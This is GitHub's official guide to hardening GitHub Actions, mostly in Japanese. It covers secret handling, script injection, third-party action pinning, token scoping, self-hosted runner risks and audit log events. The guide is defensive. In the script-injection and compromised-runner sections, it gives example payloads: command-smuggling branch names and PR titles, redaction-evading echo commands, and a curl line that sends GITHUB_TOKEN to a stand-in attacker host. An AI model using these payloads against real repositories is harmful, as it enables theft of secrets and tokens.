GitHub Actions のセキュリティ強化

GitHub Actions の機能を使用するための適切なセキュリティプラクティス。

ノート: GitHubホストランナーは、現在GitHub Enterprise Serverでサポートされていません。 GitHubパブリックロードマップで、計画されている将来のサポートに関する詳しい情報を見ることができます。


このガイドでは、特定の GitHub Actions の機能のセキュリティ強化を設定する方法について説明します。 GitHub Actions の概念について理解を深めるには、「GitHub Actions の中核的概念」を参照してください。


機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してください。 シークレットは、Organization、リポジトリ、あるいは環境のレベルで設定でき、機密情報をGitHub Enterprise Serverに保存できるようになります。

シークレットは Libsodium sealed boxes を使用するため、GitHub Enterprise Server に到達する前に暗号化されます。 これは、UI を使用して、または REST API を介してシークレットが送信されたときに発生します。 このクライアント側の暗号化により、GitHub Enterprise Server のインフラストラクチャ内での偶発的なログ(例外ログやリクエストログなど)に関連するリスクを最小限に抑えることができます。 シークレットがアップロードされると、GitHub Enterprise Server はそれを復号化して、ワークフローランタイムに挿入できるようになります。

偶発的な開示を防ぐために、GitHub Enterprise Server は、実行ログに表示されるシークレットを編集しようとするメカニズムを使用しています。 この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 ただし、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事項は次のとおりです。

  • 構造化データをシークレットとして使用しない

    • 構造化データは、ログ内のシークレットの編集失敗の原因となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML(または同様)の Blob を使用してシークレット値をカプセル化しないでください。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。
  • ワークフロー内で使用されるすべてのシークレットを登録する

    • シークレットを使用してワークフロー内で別の機密値を生成する場合は、生成された値を正式にシークレットとして登録して、ログに表示されたときに編集されるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする場合は、その JWT をシークレットとして登録してください。そうしない場合、ログ出力に入力されても編集されません。
    • シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された場合(Base64 や URL エンコードなど)、新しい値もシークレットとして登録してください。
  • シークレットの処理方法を監査する

    • シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
    • 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを STDOUT および STDERR に送信するかは必ずしも明らかではなく、シークレットはその後エラーログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。
  • スコープが最小限の認証情報を使用する

    • ワークフロー内で使用されている認証情報に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してください。
  • 登録されたシークレットの監査とローテーション

    • 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してください。
    • シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。
  • シークレットへのアクセスのレビューを必須とすることを検討する

    • 必須のレビュー担当者を使って環境のシークレットを保護できます。 レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。 For more information about storing secrets in environments or requiring reviews for environments, see "Encrypted secrets" and "Using environments for deployment."

Using CODEOWNERS to monitor changes

You can use the CODEOWNERS feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in .github/workflows, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.


Understanding the risk of script injections

When creating workflows, custom actions, and composite actions actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.

Attackers can add their own malicious content to the github context, which should be treated as potentially untrusted input. These contexts typically end with body, default_branch, email, head_ref, label, message, name, page_name,ref, and title. For example: github.event.issue.title, or github.event.pull_request.body.

You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of GitHub Actions. For information on some of the steps an attacker could take, see "Potential impact of a compromised runner."

In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, zzz";echo${IFS}"hello";# would be a valid branch name and would be a possible attack vector for a target repository.

The following sections explain how you can help mitigate the risk of script injection.

Example of a script injection attack

A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          echo "PR title did not start with 'octocat'"
          exit 1

This example is vulnerable to script injection because the run command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside ${{ }} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.

To inject commands into this workflow, the attacker could create a pull request with a title of a"; ls $GITHUB_WORKSPACE":

Example of script injection in PR title

In this example, the " character is used to interrupt the title="${{ github.event.pull_request.title }}" statement, allowing the ls command to be executed on the runner. You can see the output of the ls command in the log:

Example result of script injection

Good practices for mitigating script injection attacks

There are a number of different approaches available to help you mitigate the risk of script injection:

The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:

uses: fakeaction/checktitle@v3
    title: ${{ github.event.pull_request.title }}

Using an intermediate environment variable

For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.

The following example uses Bash to process the github.event.pull_request.title value as an environment variable:

      - name: Check PR title
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          echo "PR title did not start with 'octocat'"
          exit 1

In this example, the attempted script injection is unsuccessful:

Example of mitigated script injection

With this approach, the value of the ${{ github.event.issue.title }} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid word splitting, but this is one of many general recommendations for writing shell scripts, and is not specific to GitHub Actions.

Using CodeQL to analyze your code

To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the GitHub Security Lab has developed CodeQL queries that repository owners can integrate into their CI/CD pipelines. 詳しい情報については、「コードスキャニングについて」を参照してください。

The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be configured to analyze this language.

  • ExpressionInjection.ql: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps.
  • UntrustedCheckout.ql: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "Keeping your GitHub Actions and workflows secure: Preventing pwn requests" on the GitHub Security Lab blog.

Restricting permissions for tokens

To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "Modifying the permissions for the GITHUB_TOKEN."


ワークフロー内の個々のジョブは、他のジョブと相互作用(および侵害)する場合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。

これは、ワークフロー内の 1 つのアクションへの侵害が非常に重要になる可能性があるということです。その侵害されたアクションがリポジトリに設定されたすべてのシークレットにアクセスし、GITHUB_TOKEN を使用してリポジトリに書き込むことができるためです。 したがって、GitHub のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 For information on some of the steps an attacker could take, see "Potential impact of a compromised runner."


  • アクションを完全なコミット SHA にピン止めする

    現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追加するリスクを軽減できます。

  • アクションのソースコードを監査する

    アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。

  • 作成者を信頼できる場合に限り、アクションをタグにピン止めする

    コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する場合は、アクションの作成者が信頼できることを確認してください。 GitHub Marketplace の「Verified creator」バッジは便利な判断材料で、 GitHub で身元が確認されたチームによって作成されたアクションであることを示しています。 作者が信頼できる場合でも、このアプローチにはリスクがあることに注意してください。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。

Potential impact of a compromised runner

These sections consider some of the steps an attacker can take if they're able to run malicious commands on a GitHub Actions runner.

Accessing secrets

Workflows triggered using the pull_request event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as issue_comment, issues and push, where the attacker could attempt to steal repository secrets or use the write permission of the job's GITHUB_TOKEN.

  • If the secret or token is set to an environment variable, it can be directly accessed through the environment using printenv.

  • If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.

  • For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:

    uses: fakeaction/publish@v3
        key: ${{ secrets.PUBLISH_KEY }}

Although GitHub Actions scrubs secrets from memory that are not referenced in the workflow (or an included action), the GITHUB_TOKEN and any referenced secrets can be harvested by a determined attacker.

Exfiltrating data from a runner

An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, GitHub Actions automatically redact secrets printed to the log, but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.

Stealing the job's GITHUB_TOKEN

It is possible for an attacker to steal a job's GITHUB_TOKEN. The GitHub Actions runner automatically receives a generated GITHUB_TOKEN with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.

Modifying the contents of a repository

The attacker server can use the GitHub Enterprise Server API to modify repository content, including releases, if the assigned permissions of GITHUB_TOKEN are not restricted.


GitHub Actions is intentionally scoped for a single repository at a time. The GITHUB_TOKEN grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file. ユーザはリポジトリごとに特定の権限を持っているため、1 つのリポジトリの GITHUB_TOKEN に別のリポジトリへのアクセスを許可すると、慎重に実装しない場合 GitHub 権限モデルに影響します。 同様に、GitHub 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。

GitHub ロードマップでは、GitHub Enterprise Server 内のリポジトリ間アクセスを可能にするフローをサポートする計画がありますが、この機能はまだサポートされていません。 現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に GitHub 認証トークンまたは SSH キーをシークレットとして配置することです。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。


    • このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープされており、リポジトリの書き込みアクセスを持つユーザと同じレベルのアクセス権をことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しい情報については「GITHUB_TOKENでの認証」を参照してください。
    • 可能な場合は、常に GITHUB_TOKEN を使用する必要があります。
  2. リポジトリのデプロイキー
    • デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しい情報については、「デプロイキーを管理する」を参照してください。
    • デプロイキーは Git を使用してリポジトリに複製およびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
  3. GitHub App トークン
    • GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。
  4. 個人アクセストークン
    • 自分のアカウントから個人アクセストークンを使用しないでください。 これらのトークンは、アクセスできる Organization 内のすべてのリポジトリ、およびユーザアカウントのすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 さらに、後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。
    • 個人アクセストークンを使用する場合は、ワークフローに必要な特定のリポジトリへのアクセスのみが許可される新しいアカウント用に生成されたものを使用してください。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
  5. ユーザアカウントの SSH キー
    • ワークフローでは、ユーザアカウントの SSH キーを使用しないでください。 これらは、個人アクセストークンと同様に、すべての個人リポジトリと、Organization のメンバーシップを通じてアクセスできるすべてのリポジトリに読み取り/書き込み権限を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。


Self-hosted runners for GitHub Enterprise Server do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.

Be cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the GITHUB_TOKEN which grants write-access permissions on the repository. ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した場合でも同じリスクの影響を受けやすくなります。

セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、GitHub Enterprise Serverは同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 詳しい情報については、「グループを使用したセルフホストランナーへのアクセスを管理する」を参照してください。


  • セルフホストランナーとして設定されたマシンにはどのような機密情報が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。
  • マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情報量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてください。

中には、それぞれのジョブの実行後にセルフホストランナーを自動的に破棄するようなシステムを実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブだけを実行するという保証がないためです。 Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as ps x -w. This can lead to secret leakages.

Planning your management strategy for self-hosted runners

A self-hosted runner can be added to various levels in your GitHub hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:

Centralised management:

  • If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
  • If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.

De-centralised management:

  • If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
  • You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.

GitHub Actionsイベントの監査

Organizationの管理タスクをモニタするために、監査ログを使用できます。 監査ログは、アクションの種類、実行された時刻、実行したユーザアカウントを記録します。

たとえば、監査ログを使用して、Organization のシークレットへの変更を追跡する org.update_actions_secret イベントを追跡できます。 監査ログのエントリ

以下の表は、監査ログにあるGitHub Actionsのイベントを示します。 For more information on using the audit log, see "Reviewing the audit log for your organization."


repo.actions_enabledリポジトリに対して GitHub Actions が有効化されたときにトリガーされます。 UI を使用して表示できます。 このイベントは、REST API を使用して Audit log にアクセスした場合には表示されません。 詳しい情報については、「REST API を使用する」を参照してください。


org.create_actions_secretOrganization に対して GitHub Actions シークレットが作成されたときにトリガーされます。 詳しい情報については、「Organization の暗号化されたシークレットを作成する」を参照してください。
org.remove_actions_secretGitHub Actions シークレットが削除されたときにトリガーされます。
org.update_actions_secretGitHub Actions シークレットが更新されたときにトリガーされます。
repo.create_actions_secretリポジトリに対して GitHub Actions シークレットが作成されたときにトリガーされます。 詳しい情報については、「リポジトリに対して暗号化されたシークレットを作成する」を参照してください。
repo.remove_actions_secretGitHub Actions シークレットが削除されたときにトリガーされます。
repo.update_actions_secretGitHub Actions シークレットが更新されたときにトリガーされます。


enterprise.register_self_hosted_runner新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については「Enterpriseへのセルフホストランナーの追加」を参照してください。
enterprise.runner_group_runners_updatedTriggered when a runner group's member list is updated. 詳しい情報については、「Organizationのグループにセルフホストランナーを設定する」を参照してください。
enterprise.self_hosted_runner_updatedランナーアプリケーションが更新されたときにトリガーされます。 REST API と UI を使用して表示できます。 Audit log を JSON データまたは CSV ファイルとしてエクスポートする場合、このイベントは含まれません。 詳しい情報については、「セルフホストランナーについて」および「Organization の Audit log をレビューする」を参照してください。
org.register_self_hosted_runner新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「Organization へのセルフホストランナーの追加」を参照してください。
org.remove_self_hosted_runnerセルフホストランナーが削除されたときにトリガーされます。 詳しい情報については、「Organization からランナーを削除する」を参照してください。
org.runner_group_runners_updatedランナーグループのメンバーリストが更新されたときにトリガーされます。 詳しい情報については「Organizationのグループ内にセルフホストランナーをセットする」を参照してください。
org.runner_group_updatedセルフホストランナーグループの設定が変更されたときにトリガーされます。 For more information, see "Changing the access policy of a self-hosted runner group."
org.self_hosted_runner_updatedランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「セルフホストランナーについて」を参照してください。
repo.register_self_hosted_runner新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「リポジトリにセルフホストランナーを追加する」を参照してください。
repo.remove_self_hosted_runnerセルフホストランナーが削除されたときにトリガーされます。 For more information, see "Removing a runner from a repository."
repo.self_hosted_runner_updatedランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「セルフホストランナーについて」を参照してください。


enterprise.runner_group_createdセルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「Enterprise のセルフホストランナーグループを作成する」を参照してください。
enterprise.runner_group_removedセルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「セルフホストランナーグループの削除」を参照してください。
enterprise.runner_group_runner_removedセルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。
enterprise.runner_group_runners_addedセルフホストランナーがグループに追加されたときにトリガーされます。 詳しい情報については、「セルフホストランナーをグループに移動する」を参照してください。
enterprise.runner_group_updatedセルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情報については「セルフホストランナーグループのアクセスポリシーの変更」を参照してください。
org.runner_group_createdセルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「Organization のセルフホストランナーグループを作成する」を参照してください。
org.runner_group_removedセルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「セルフホストランナーグループの削除」を参照してください。
org.runner_group_updatedセルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情報については「セルフホストランナーグループのアクセスポリシーの変更」を参照してください。
org.runner_group_runners_addedセルフホストランナーがグループに追加されたときにトリガーされます。 詳しい情報については、「セルフホストランナーをグループに移動する」を参照してください。
org.runner_group_runner_removedセルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。 詳しい情報については、「Organization のグループからセルフホストランナーを削除する」を参照してください。






GitHubのすべてのドキュメントはオープンソースです。間違っていたり、はっきりしないところがありましたか?Pull Requestをお送りください。


OR, コントリビューションの方法を学んでください。